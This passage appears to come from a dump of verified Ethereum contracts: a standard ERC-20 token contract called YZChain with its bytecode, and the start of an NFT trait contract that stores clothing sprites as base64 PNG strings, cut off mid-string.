e81e01b0f935f71a13ca38a5e4de79cad294e1fba7dc2194dca4db15773364736f6c63430008070033
[ 38 ]
0xf330530a932d080a00ba2305ce5ec2f5a2b67257
// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // YZChain pragma solidity ^0.4.21; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract YZChain is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; function YZChain( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x6060604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017357806323b872dd1461019857806327e235e3146101c0578063313ce567146101df5780635c6581651461020857806370a082311461022d57806395d89b411461024c578063a9059cbb1461025f578063dd62ed3e14610281575b600080fd5b34156100be57600080fd5b6100c66102a6565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101025780820151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b61015f600160a060020a0360043516602435610344565b604051901515815260200160405180910390f35b341561017e57600080fd5b6101866103b0565b60405190815260200160405180910390f35b34156101a357600080fd5b61015f600160a060020a03600435811690602435166044356103b6565b34156101cb57600080fd5b610186600160a060020a03600435166104bc565b34156101ea57600080fd5b6101f26104ce565b60405160ff909116815260200160405180910390f35b341561021357600080fd5b610186600160a060020a03600435811690602435166104d7565b341561023857600080fd5b610186600160a060020a03600435166104f4565b341561025757600080fd5b6100c661050f565b341561026a57600080fd5b61015f600160a060020a036004351660243561057a565b341561028c57600080fd5b610186600160a060020a036004358116906024351661060e565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561033c5780601f106103115761010080835404028352916020019161033c565b820191906000526020600020905b81548152906001019060200180831161031f57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a0380841660008181526002602090815260408083203390951683529381528382205492825260019052918220548390108015906103fa5750828110155b151561040557600080fd5b600160a060020a038085166000908152600160205260408082208054870190559187168152208054849003905560001981101561046a57600160a060020a03808616600090815260026020908152604080832033909416835292905220805484900390555b83600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405190815260200160405180910390a3506001949350505050565b60016020526000908152604090205481565b60045460ff1681565b600260209081526000928352604080842090915290825290205481565b600160a060020a031660009081526001602052604090205490565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561033c5780601f106103115761010080835404028352916020019161033c565b600160a060020a033316600090815260016020526040812054829010156105a057600080fd5b600160a060020a033381166000818152600160205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a039182166000908152600260209081526040808320939094168252919091522054905600a165627a7a72305820a252086bdc96e694442a96005ef01cace52113bbf582b5e3a4d389c4478942ce0029
[ 38 ]
0xf33095dd8a3a147d33ef82a82cacd4292f3346ce
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Trait.sol"; import "./ITrait.sol"; contract Tops is Trait { // Skin view string private constant STRAPPY_TOP = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAElBMVEUAMCI8BEk2B0FaMWNpOXR5QYaFvGz8AAAAAXRSTlMAQObYZgAAAHBJREFUSMft07sNgDAMRVE3GSArsILNBCZ9JPD+q5CPEEEYCoQUhHyKV93GhQGMUTmA2CcgYs67BafsvUBEopPqEPgk79RQb0AkJsbiItipgciMONZVA99Qg6GhBiEsSSieBcZ8DzNR/vKewc1f/t8KRdUnFMn/8bQAAAAASUVORK5CYII="; string private constant CHEF = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAGFBMVEUAAAAyMzHNFB3gISLM2drh5unk5uPp7vCYXFw/AAAAAXRSTlMAQObYZgAAARtJREFUSMftlMFOwzAQRK1+BL2DENeqOfSMFJQfwPGdxtlzobvz+x0HWhHXSYS4ZuSDFb+dWSftOrdqVVHHqqque0EJcG5z3aMvAB/OPd0crOSw29wicB8BxP0eGr6qAwxphXFMwPHx86BoBMJTKoxdPOILnqE8iQkxrsyBz5VlLJcUYZlD0HjCNjnYeWCkzSI0CiuVPZyNEb0Ey3roWKbaqCk3bVpZD90JD7ynQRnR0iQD9Nsh0MP/KHOwhlccgLp+q5PGPXh7Nd7CEyh+bPXWGbxX9WH96a/6g2ALQI8FQJYcgIXj9L/sdQ5IyDQgaTZApmOGAWMzDqwmgzgN9AITmWmS04MZceY1cc6wjUmgOBt+i2Ph/W42/EsXOlyFE/2FZvkAAAAASUVORK5CYII="; string private constant PREHISTORIC = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAElBMVEVwcABjSBOEYBvhnhXspBT2yXBrTUdUAAAAAXRSTlMAQObYZgAAALxJREFUSMftlD0OwyAMRllygCRcgIQeINg9AP7MXqnh/lcpSdQlJUuXqhJv4cfPlkAYYxqNK7rfCJ6cGtPHQ1DNZ0Gn3hsz0L5YBelxEkiGe4nwNs+OP0soccnJ6xZfQ/Q2nYyc942ujM8ZAqwpVw+gCLcwkvKkWhUWgiMmliHOVSGqJwTAWa5XgAw0OrGCUK9A0SoketDiq0IPFIWhXlEXSMUCXJD27ht/gpb2PLr8gvTu8iv2nyO3m/ySF7D/I9Xi8JzlAAAAAElFTkSuQmCC"; string private constant TSHIRT_BLACK = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABAAgMAAADXB5lNAAAADFBMVEUAAAA2NjY4ODg5OTnWDzk4AAAAAXRSTlMAQObYZgAAALtJREFUOMtjYBgFmMCBEURGIgQOMIPI+egCdegC/+H8cAemUAfm0OX/66ECsVdE/9aGl8dfvw8V+JkaW/8/vzb2fzpU4P/Sq5W19+un1ZdDBepD42P/ViK5qzb07v2v/5EE/t8trf9fiiRQHhpa/f4vkkD89PDculokgfehqdVf/yEJ3A+9ej/3O7It0+K/lt8cTQX4wVV0gSh0gW3oAt/Q+KGh67+jCJRfrf6JqiIs/z+KQOy6+q+DKRQA8fVFNXs3A+0AAAAASUVORK5CYII="; string private constant TSHIRT_WHITE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAB9klEQVR42u2a3W7DIAyFnUFFpb3/o04C1YjdzJHrQNM2JKPt+W76k8TKsU8MghABAAAAAAAAAAAAbCTGWJ459kj8GGO5XC6lR7zulFLKM8fuRYQLW+N9vZrDcs4UQiAiImamj3NAMWyN53s+8yEESik1z2Xmah84n89TS6yNJ1UXJ9gkpJRmhxARTdM07ZoAKz6EMIt0zn3nnImIfqx95Wa1M1rJ07HlnFqcEMLVufcw9bI8M9OfWHLOzd9r7rh1cyklcs6R935RUZ2gllC5XpK95oBuTdB7TyEEcs4thNeqy8yUUrr6XwTZ5OlYEl+E1lwjyTvEATHGUrNj7eatXW0F9TFxVKs/9KLrMFgTbwXq3y3x2lF7060H1DqxrXZN+Nq1wztAbrT12XKGnsTo75KcI6rf7RHQ1tZN0IrQMzjv/dwEpWlJYzySLo+ACGpV2w6L0uR0t64NkcxMp9Np/CbYGrZEkBWvq55SImaujuePDGf/5gA9DOpJiK18TWBrUqPj7N0EAQAAAAAAAAAA8HkMt9hg9wP3XhDxoyVAxNsdpr0Y7v0A59zN7bG3T8ARC6FD9YC193zkUbCJkUXUtd3fl3CA3g2yq8c5Z/LeL16Hae0Mv5UDZGlcvy+wELDRAcOMArI3oC0vVa+JP3oLDQAAAADvxy8j65Qi++Br+AAAAABJRU5ErkJggg=="; string private constant TSHIRT_BLUE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAB/0lEQVR42u2awW7CMAyGG5qq6t6Syw6cdtszcJjEade9JVHVoOyA/s6YBBiEKMD/XaC0smL7txPVNA0hhBBCCCGEEELIjSzX23DNvf/YX6634f3LhRz2FrkDMPTmqnuX0tm9Ddvmsbd4NIVNPsyO+13zegGQWbft7fZszpofetO4MV2WfhfvAz+fb1EtrzYuaHvIOpSw2riDB9wYDoL0/TGYuwZAOz/0ZnYSjuFayheLhaPy+pRtPBOzM/Tm4NkiCtD16MbQdNY0kw9RdcjF6UXimc6aI3nH1AVbOhidvTwI2XoAujK6tA5QTMoIiHZo8mklwL50NLaWYj1AR1ovXktWqmDyxyrAPb/b20r1h1xk3QVi2dDylNepOs65z989ANohXd+6eaVqUzYwqZTqAyAXHPtMKUMeYuT3VIOsugRkVmUTjHV5OGzbvyyjaaExliTLNigzKJsgnMG2iGvb7p091QN0MKtWQGrbgkPyPuocWXdjOAoGfs9x1C26DcpDEDIYy6w+1KActJ3S5UAIIYQQQgghhJDXwNS2ID0PvPdcwNYWAPkesQTVjcc7a06Ox54+ACVehFbVA879z0f+JUaXytCbs/P/h1CAnAbp1+OTD/McQQcmx1vjKppgbJwGJycf5kmSLhXbmucIALKPeQAcRNZjfYEzA0IIIYTcyi9gyVB9JbpWGAAAAABJRU5ErkJggg=="; string private constant VERTICAL_RED = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAD1BMVEVlLXTaT1Dg4t/t7+v6/PkXGOinAAAAAXRSTlMAQObYZgAAAIVJREFUSMft01EKhDAMBNAIHmAhcwGPMDfYQO5/Jq1UwSXdiPpn56vQR5IWItLTE+YrMmxnYwJoWYULACjA7CMyutPcgR9gaxSAu7UBoC3ACkqFqIWu9ywg/Ka9hSZA0wrLlA0wZeDEkKzPDIHWFs0he3rihJt9AEwA7V6LcLOfBvwPXpoZT/Eo1b+hauMAAAAASUVORK5CYII="; string private constant VERTICAL_GREEN = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAD1BMVEVlLXQ4xmPg4t/t7+v6/Pk83kfxAAAAAXRSTlMAQObYZgAAAIVJREFUSMft01EKhDAMBNAIHmAhcwGPMDfYQO5/Jq1UwSXdiPpn56vQR5IWItLTE+YrMmxnYwJoWYULACjA7CMyutPcgR9gaxSAu7UBoC3ACkqFqIWu9ywg/Ka9hSZA0wrLlA0wZeDEkKzPDIHWFs0he3rihJt9AEwA7V6LcLOfBvwPXpoZT/Eo1b+hauMAAAAASUVORK5CYII="; string private constant VERTICAL_ORANGE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAD1BMVEVldC3slA3/oxjg4t/5+/gVaV5HAAAAAXRSTlMAQObYZgAAAJhJREFUSMftlLENwzAMBOkgA7jgCD9BJsgT2n8mU7YDJBYpw3AZXSVAh3+qoEQGg5C3yONzNrstMBamjgDUBLNZ5FmKsRTgV1CrEArEAlbBAOguaCvQEzzCBUsTVA8XbYUmgm4VHtBNYB0yEV5bRTqD7kN2K1gTsiG9gk76zMEgJlz9b3gmhH/DhYpwcQ8CTwRa8zdcqvhTFu2fLhJzL3fyAAAAAElFTkSuQmCC"; string private constant TURTLENECK_BLACK = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABAAgMAAADXB5lNAAAADFBMVEUAAAA9PT1CQkJGRkYh3l+BAAAAAXRSTlMAQObYZgAAAM1JREFUOMvt0rEKwjAQBmBn3+8KFepocbCbPbTgW6gEqbp0ucGxIMHHENGSjhWHdlTcbIe0zQniA/QfDvJxl5CQXq/Ld4iqWjSw71dVclB8BOs1KAWOOgqaaBACbPFekafhheAV17CBciSQqgXow7DqcOuOBFy5aQF6YOd4In0wOZJGiFuaa/BzUrs4pVhDKmntWgCWBllQdDBuT7SMul/wO4oDckg5BPybDaY3E8JZYoJjnxkUdxMW2cOEOBubgE8Oiu3h5xcDoMx/r/ABd61lED+9l94AAAAASUVORK5CYII="; string private constant TURTLENECK_ORANGE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABAAgMAAADXB5lNAAAADFBMVEVhYmz2jCD3mTn4plAa+3z3AAAAAXRSTlMAQObYZgAAAM1JREFUOMvt0rEKwjAQBmBn3+8KFepocbCbPbTgW6gEqbp0ucGxIMHHENGSjhWHdlTcbIe0zQniA/QfDvJxl5CQXq/Ld4iqWjSw71dVclB8BOs1KAWOOgqaaBACbPFekafhheAV17CBciSQqgXow7DqcOuOBFy5aQF6YOd4In0wOZJGiFuaa/BzUrs4pVhDKmntWgCWBllQdDBuT7SMul/wO4oDckg5BPybDaY3E8JZYoJjnxkUdxMW2cOEOBubgE8Oiu3h5xcDoMx/r/ABd61lED+9l94AAAAASUVORK5CYII="; string private constant STRIPE_RED = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAFVBMVEVoAADoSC76UDLg4t/t7+z3+fb+//xTrp1TAAAAAXRSTlMAQObYZgAAAPBJREFUSMftlE1uAyEMhVHVdF0sZV8/tRwgUi8QDbPujMD7VsH3P0IcVbMgYYq6562M/OGH+XNuaKipN+detjjHBvDq3GGLo3YqyHcH0OUhzTDgWdKXc085TwsQahsQv+cVHMrKYgNm1ECOSS0PaFJi8gymCog63fJGHBXBaBWuAElEUJmV8NHcJoBQNIkmUBNgOlpRM74vvSmJ/ICI4fXSBEo8ASLWJNqAzSarMmvmtgUz5dma5KK+vQb9TOzZUyhxXP2hf6isHSCfO8C8dAD920J1JbvbYReAZe1vwC5gX4O94J238WsxXQzI47hrXQGiRjKpvbWUKAAAAABJRU5ErkJggg=="; string private constant STRIPE_BLUE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAFVBMVEVvcm0neeErhfXg4t/t7+z3+fb+//z67CVSAAAAAXRSTlMAQObYZgAAAPBJREFUSMftlE1uAyEMhVHVdF0sZV8/tRwgUi8QDbPujMD7VsH3P0IcVbMgYYq6562M/OGH+XNuaKipN+detjjHBvDq3GGLo3YqyHcH0OUhzTDgWdKXc085TwsQahsQv+cVHMrKYgNm1ECOSS0PaFJi8gymCog63fJGHBXBaBWuAElEUJmV8NHcJoBQNIkmUBNgOlpRM74vvSmJ/ICI4fXSBEo8ASLWJNqAzSarMmvmtgUz5dma5KK+vQb9TOzZUyhxXP2hf6isHSCfO8C8dAD920J1JbvbYReAZe1vwC5gX4O94J238WsxXQzI47hrXQGiRjKpvbWUKAAAAABJRU5ErkJggg=="; string private constant STRIPE_ORANGE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAFVBMVEX7AwDrkw3/oxjg4t/t7+z3+fb+//zA9QaHAAAAAXRSTlMAQObYZgAAAPBJREFUSMftlE1uAyEMhVHVdF0sZV8/tRwgUi8QDbPujMD7VsH3P0IcVbMgYYq6562M/OGH+XNuaKipN+detjjHBvDq3GGLo3YqyHcH0OUhzTDgWdKXc085TwsQahsQv+cVHMrKYgNm1ECOSS0PaFJi8gymCog63fJGHBXBaBWuAElEUJmV8NHcJoBQNIkmUBNgOlpRM74vvSmJ/ICI4fXSBEo8ASLWJNqAzSarMmvmtgUz5dma5KK+vQb9TOzZUyhxXP2hf6isHSCfO8C8dAD920J1JbvbYReAZe1vwC5gX4O94J238WsxXQzI47hrXQGiRjKpvbWUKAAAAABJRU5ErkJggg=="; string private constant SUIT = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAElBMVEVjb2wKFh8PHiyQBQAZKDb09/M4xg+kAAAAAXRSTlMAQObYZgAAAPhJREFUSMftlEtuwzAMRJ1F9pWiHIADXiCLHsAED9Cg8P2v0pFiI0jNSItsPStJfCL1nWk6dChUWpa0tYEAuE7TfWurDYA8BJ4lAHy1EVx/zncgURB2sZZhf60qv99ZDTWE7Gy9ltkAZSgzyJaEANwl1/AesMtN62yXYooAcLlxODMDgymZzv8AFVG34io6hxnabMvKDN7WMO8BI1B3gdy2uwNSnefFllVBhscphJfNo0ECAXkDHDoUK/SG18c3AmRU4h1w4k+Q6hd0h7hMs4r6R+sL7yyR/7L39B/O0AVYYO4B1Rms9DMUG6zBexloggLp3EfoDR/pD84DPQp5evZaAAAAAElFTkSuQmCC"; string private constant LUMBER = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAHlBMVEUAAABgMhCSLidiQSi6OjFkY2LRVk37zFfc3Nzp6elLjlLzAAAAAXRSTlMAQObYZgAAANtJREFUSMftlL8KwjAQh6O+QGulu5gHsFZ0tVc87C7uxRPs7BuIS1fp0LytsVLon2tFEEHIl+WGH98dJBchDAaWuRCDsgbgA6OyJmICViXAGqxKC8aAuBQiJnKFCBGJUFMLSLnYDEOApZQzKQGkpmlIsiPRCjHoMIyj68sw7TbEhaFzht01AJj0zXDTM7g9huj+xnDOXoZApfoolbYNYWGYsneJuE+yE9EBccsGbM9ZXxzftn3PNk/f8AHsZldh/4ZvGkgD0NiqegNmq5qG1l7+neH5L+QqVz+8/AfiPlMwOCAUmQAAAABJRU5ErkJggg=="; string private constant COWBOY = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAIVBMVEUAAAAkFwY4JwqOHQqmIwhvNxEMVWqJQBIVWm8TZnr+1QAbz5SLAAAAAXRSTlMAQObYZgAAASxJREFUSMftlLFOwzAQhiPxBFnZyMiE1DwAUirlAaqLKx4gcvcepiui7t2K1HC38qSYFqrGdRMxsOXLkEj+8vu3EjvLJiaSwMNN+fusnBAWWXYSyCaE9ZnAqQR4nJ0Eq5fD+FLNSgCsSiBhLxr1MG7zVs0RzaJGq2JJhXqCQyfz0jlTrx1zx8ocJ+DzR20w3JGsshCvooSn5hUNgnNOrJKI7wvGmOUuvB8uFBIVFo5Wgc37QUD0ItwGog6u2YX47xLCFIgT3CEBggjtDz1BAZotgO7BbJLfsiiK+8/iSFLI8/z2Lj8y/foTf0B0RPA0liAjgvrhYQ57jgZ6KOlKPfHAGsLWl4EexGI9ddeFUIE8d/b6FOyZ4rPhnLb1zDba2b0ORJenSz8hcTb8L1/HE4qVeT7A/AAAAABJRU5ErkJggg=="; string private constant HIGHVIS_JACKET = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAGFBMVEUAAACcnpv7mQD/pAW8vrvCxMHy+gD4/wDT7TsBAAAAAXRSTlMAQObYZgAAAPBJREFUSMftlEGOwjAMRVmVda+AJQ5gS+UCcXsBe9ii6TTdIqDN9XE1KhLUpRfIX0Xy0/d3oni3y8pyhdc9zGdlFyhoPktwALgWh5eDeA6X4tVCdFEmoMueTPeKmIVFFzngcbYWdD9h4BAM+myDXQ0TcCTlidCwcGjQgNuJVIWVP3JY9+EMRNBW6F5Tin1XpzHG2EcXKMvyUZf/coHYp64ZYz+OKbkAIVlIuw2bwn8qwr/aQtJvBb4DwPCDeMB2xQEIhsampHbFISvLl/Nx3xV4A+AtB+WNsu0G+ZJDJASx7bAOWF00fHGYdoMq5+d+1xN/Fj0+ISur7wAAAABJRU5ErkJggg=="; string private constant POLICE = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAIVBMVEUAAAAGGzMKJkICKUsGLE0eKDMqNUCwsq72yzL23DTj5eFBYsbWAAAAAXRSTlMAQObYZgAAARdJREFUSMftlEFOwzAQRXMF21CJpf9E2XsGWcCONFdI92mEe4NegCNwArY5JTYqC6dxEELd5S0sS3n+HjmjqaqNjUWaqjr+7EVuLtC1IOKn6fi9jiJCCrMUJv/yOQo8y5Fpj87CZgJx48zI7Ec/gFrgVbs8Ad49xLOnEM5we9teC8MuRCFEWGB1NxdoUKfA9q3vDyw1687kRWoa7vuDuJSg6dHWrUEmhDDs4v0hJRiq27qV/AqN9Ak2JRgnCkqpvAYOIdbASZsuzGpoQhgBH9fFn60uxGeWrfU3/sCvDXNzAYp4tXF1B3764LJwB6bnd3ZloTYcKQtx9BBjVdDMAIpCmgtC4BVBQyCqKMTBEF/BmqKwOBv+xRclPU913ozfnwAAAABJRU5ErkJggg=="; string private constant DOCTOR = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABABAMAAABYR2ztAAAAIVBMVEUAAABNTU0SYKEVbriournH2dnW4+Pp6enu7u7y8vL09PQCAr0yAAAAAXRSTlMAQObYZgAAAU9JREFUSMftlEFugzAQRVkmNylHYJ9F0n2P0DtkmaqVYrxqQxb+cwLPP2W/Q1OVyDSq1CUfBAae/e0xM02zaFFV583Grm2yAmya9eO17VYBds16d20DdwD692sjDuphwO59vTXwIvNyHQGwABQwdFvCSD3QaDbawHLBHHg7tU/6ap70dNaL0SbbXtfgJqB7Vj+1NNxZt3El4SiHZhXgL0ObyJ7IDv9wYZM1mOWhfaH39ER3K8cUYD51UYAjEa654AZAGrro7CELo5Zp03CbyyK6RTAH9CGFkCcAmU5tNGiE1OurFG+AMgdZOHJ1s+F4fVCIo8jl11/0B1Vrw09Va8Pk58MdwOYsVlDKYVIbboBLxrmSSnnrtSGiqziMp1XncfRopVBAXlVgtQ/hULJaB3+JgpuSez4WWofNWXwFuvSnzwJBpQEhhnlA6lMO/7f5n/dF3uKgDgDjAAAAAElFTkSuQmCC"; string private constant SCARF = "iVBORw0KGgoAAAANSUhEUgAAAEAAAABAAgMAAADXB5lNAAAADFBMVEVlLWcTXHw0fqUlkclQ/2RTAAAAAXRSTlMAQObYZgAAAD5JREFUOMtjYBgFmOBdHJpAAzOagAO6wKtqVP6y37d2vZuHJBCWuT1yWxiKGml0e9nQBbjRBVhGI2cUDCIAAPcdC0Sriwc2AAAAAElFTkSuQmCC"; // Front view string private constant FRONT_STRAPPY_TOP = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAElBMVEUAAAB5QYZpOXRaMWM8BEk2B0FPX/j/AAAAAXRSTlMAQObYZgAAAEFJREFUGNNjYKAaYGRgEMDBEBRgFAQzlIAAzDBSNlIGM4yBAMwQNjY2BDNcgADMCAUCMEMICFAZykBAiAE3hxIAAIn5CUPRP/A/AAAAAElFTkSuQmCC"; string private constant FRONT_CHEF = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAGFBMVEUAAADp7vDk5uPh5ungISLNFB0yMzHM2dqz5iDyAAAAAXRSTlMAQObYZgAAAGRJREFUGNO9jTEKwzAQBO8LcybuFxnUS0VqF35ACH6A/ANjiL6fU94QvM3CDOya/Sl42jaQwbI/VjAnvXg7Q6FJbijNNGkoCYUqOWqokmeOILUOUqtd3U/oz9j2j7ffieeYuzVfCIcMvEFIXXoAAAAASUVORK5CYII="; string private constant FRONT_PREHISTORIC = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAElBMVEUAAAD2yXDspBSEYBtjSBPhnhV+54yIAAAAAXRSTlMAQObYZgAAAFlJREFUGNNjYKAmYIQxhKC0oAmUFgqG0KKmqmBGsGGwK5ihahIaBGYYhapC1DiHukJ0OSmpKkPUqDgpgRlKyk4Q7SZKSoJghouRogBEVyCEZggSgNlNDR8BADOYCcf2m7C4AAAAAElFTkSuQmCC"; string private constant FRONT_TSHIRT_BLACK = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgCAAAAAA+4qcQAAAAAnRSTlMAAHaTzTgAAABfSURBVCjP3czBCcNAEEPRt5rUtLj/S8A9zZLD2iYlhOgi9IXEb2gcVvUJjoUxFe00qd6gZdlREp2gtKQMmKC8kfu9aDcopas9oPXVXyDUXl1g0fL1AbW2vyBLei/+Sh92QxnEYz6W1wAAAABJRU5ErkJggg=="; string private constant FRONT_TSHIRT_WHITE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgCAQAAACxgDBHAAAAgElEQVQ4y+3Q2wrDIBCE4c8asND3f9RCJBV7kcOakgfoRRZEdMad3+UuSEunKapniuult90wdwqoyK/GG4o6Giqy/dUukqW1WQZtEDMmH0fu3IOgIG3K45c6eH4MZVt1IMB1BI5PHx3yEBD7YGgxi2uGYGmn8xQR6zzqKeCuf6ovmrclCB/qexQAAAAASUVORK5CYII="; string private constant FRONT_TSHIRT_BLUE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgAgMAAABm5xBfAAAADFBMVEUAAABmjfdhifZqkPe4/L/QAAAAAXRSTlMAQObYZgAAAEBJREFUCNdjYCASRDcwrmJY/0LrFcO6WetWMmRGvYplYFi1Hiiz6h2QeLcLxFoFJLJXg1izQMQrIJG5nlgbsAIAPkMTzjoNkgwAAAAASUVORK5CYII="; string private constant FRONT_VERTICAL_RED = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAD1BMVEUAAADt7+vaT1D6/Png4t+h3+a4AAAAAXRSTlMAQObYZgAAAC5JREFUGNNjYKASEDIyYGBgMjJiMIICBEPISAhICRkBVYH5DPgZTlikhNCk6AYAf9ELa7EDmbwAAAAASUVORK5CYII="; string private constant FRONT_VERTICAL_GREEN = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAD1BMVEUAAADt7+s4xmP6/Png4t9g4G7rAAAAAXRSTlMAQObYZgAAAC5JREFUGNNjYKASEDIyYGBgMjJiMIICBEPISAhICRkBVYH5DPgZTlikhNCk6AYAf9ELa7EDmbwAAAAASUVORK5CYII="; string private constant FRONT_VERTICAL_ORANGE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAD1BMVEUAAAD5+/j/oxjslA3g4t9iQy2/AAAAAXRSTlMAQObYZgAAADZJREFUGNNjYKASEBIWYGBgEhICMoRAQBjKEAaKQGghkCohMIXKEEYVccKtxklIWJhaDiYOAAAMrAS1M4ONyAAAAABJRU5ErkJggg=="; string private constant FRONT_TURTLENECK_BLACK = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgCAAAAAA+4qcQAAAAAnRSTlMAAHaTzTgAAABpSURBVCjPzdCxDQNBCETRdwiCbesKd1sbQOBgT67Akj0/+iMmgf/IdXf12gdK0DUOJTtYnasPCPCZPMXjZamAx7NsYT0XldNk2MrxhMizqZzcmNh2r71MzrL1BXdOmpwXEoxhfv3Gr+cNlQs5SgvhgjUAAAAASUVORK5CYII="; string private constant FRONT_TURTLENECK_ORANGE = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgAgMAAABm5xBfAAAADFBMVEUAAAD3mTn2jCD4plD1RLbEAAAAAXRSTlMAQObYZgAAAElJREFUCNdjYCASpL17t5QhMy0tjyHv9+51DHnv3gGJ3Tv3AlnPKxnqds/dzZC7rnw3w9ud93YyrHpbvoqBofwuUF9oKLE2YAUASgUcgbsGDRoAAAAASUVORK5CYII="; string private constant FRONT_STRIPE_RED = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAgBAMAAADpp+X/AAAAFVBMVEUAAADt7+z3+fboSC76UDL+//zg4t8rmtWlAAAAAXRSTlMAQObYZgAAAFxJREFUGNNjYKASEFR2YGBgVDFhMHF2dlRScXFmMDFWDFVxMVZkEFIUBPIFA4GqTExcQsHKTVyCIAyjUFVnMEM1xMUEzEhxcVGFqDFRhDKURCFqkhSdjanlYOIAAHH5DOZvM6uHAAAAAElFTkSuQmCC"; string private constant FRONT_STRIPE_BLUE = 